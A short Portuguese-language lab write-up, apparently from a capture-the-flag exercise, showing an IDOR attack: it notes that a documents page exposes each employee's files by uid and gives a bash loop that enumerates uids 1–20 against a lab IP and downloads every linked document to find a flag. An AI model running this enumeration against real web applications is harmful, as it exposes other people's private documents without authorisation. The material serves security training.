Question-1

Repita o que você aprendeu nesta seção para obter uma lista de documentos dos primeiros 20 UIDs de usuário em /documents.php, um dos quais deve ter um arquivo '.txt' com o sinalizador.

  • Página web

  • Se olharmos os arquivos vinculados, ou se clicarmos neles para visualizá-los, perceberemos que esses são de fato arquivos diferentes, que parecem ser os documentos pertencentes ao funcionário com uid=2:

/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
  • Agora, podemos usar um loop forsimples para percorrer o uidparâmetro e retornar o documento de todos os funcionários e, em seguida, usar o wgetlink para baixar cada documento:

#!/bin/bash
url="http://94.237.59.63:30650"

for i in {1..20}; do
        for link in $(curl -s -X POST -d "uid=$i" "$url/documents.php" | grep -oP "\/documents.*?\\.\\w+"); do
                wget -q $url/$link
        done
done

Last updated